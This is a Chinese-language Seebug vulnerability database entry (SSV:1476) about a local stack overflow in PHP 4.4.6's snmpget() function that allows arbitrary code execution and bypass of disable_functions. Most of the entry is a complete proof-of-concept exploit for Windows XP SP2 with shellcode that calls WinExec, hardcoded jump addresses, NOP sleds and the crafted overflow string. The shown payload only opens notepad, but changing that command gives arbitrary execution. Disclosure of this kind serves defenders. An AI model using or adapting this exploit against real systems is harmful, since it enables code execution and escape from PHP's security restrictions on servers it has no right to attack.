Lucene search

K
seebugRootSSV:1476
HistoryMar 14, 2007 - 12:00 a.m.

PHP SNMPGet函数本地栈溢出漏洞

2007-03-1400:00:00
Root
www.seebug.org
10

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP4的snmpget()函数中存在栈溢出漏洞,攻击者可能利用此漏洞在服务器上执行任意指令。

如果本地攻击者发送了超长参数的话,就可能触发这个溢出,导致执行任意代码,绕过disable_functions之类的安全限制。

PHP 4.4.6
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本

<a href=“http://www.php.net” target=“_blank”>http://www.php.net</a>


                                                &lt;?php

// PHP 4.4.6 snmpget() object id local buffer overflow poc exploit
// by rgod
// site: [url]http://retrogod.altervista.org[/url]

// win xp sp2 version
// to be launched form the cli


if (!extension_loaded(&quot;snmp&quot;)){
die(&quot;you need the snmp extension loaded.&quot;);
}

$____scode=
&quot;\xeb\x1b&quot;.
&quot;\x5b&quot;.
&quot;\x31\xc0&quot;.
&quot;\x50&quot;.
&quot;\x31\xc0&quot;.
&quot;\x88\x43\x59&quot;.
&quot;\x53&quot;.
&quot;\xbb\x6d\x13\x86\x7c&quot;. //WinExec
&quot;\xff\xd3&quot;.
&quot;\x31\xc0&quot;.
&quot;\x50&quot;.
&quot;\xbb\xda\xcd\x81\x7c&quot;. //ExitProcess
&quot;\xff\xd3&quot;.
&quot;\xe8\xe0\xff\xff\xff&quot;.
&quot;\x63\x6d\x64&quot;.
&quot;\x2e&quot;.
&quot;\x65&quot;.
&quot;\x78\x65&quot;.
&quot;\x20\x2f&quot;.
&quot;\x63\x20&quot;.
&quot;start notepad &amp; &quot;;

$edx=&quot;\x64\x8f\x9b\x01&quot;; //jmp scode
$eip=&quot;\x73\xdc\x82\x7c&quot;; //0x7C82DC73   jmp edx
$____suntzu=str_repeat(&quot;A&quot;,188).$edx.str_repeat(&quot;A&quot;,64).$eip.str_repeat(&quot;\x90&quot;,48).$____scode.str_repeat(&quot;\x90&quot;,48);
//more than 256 chars result in simple eip overwrite
snmpget(1,1,$____suntzu);

?&gt;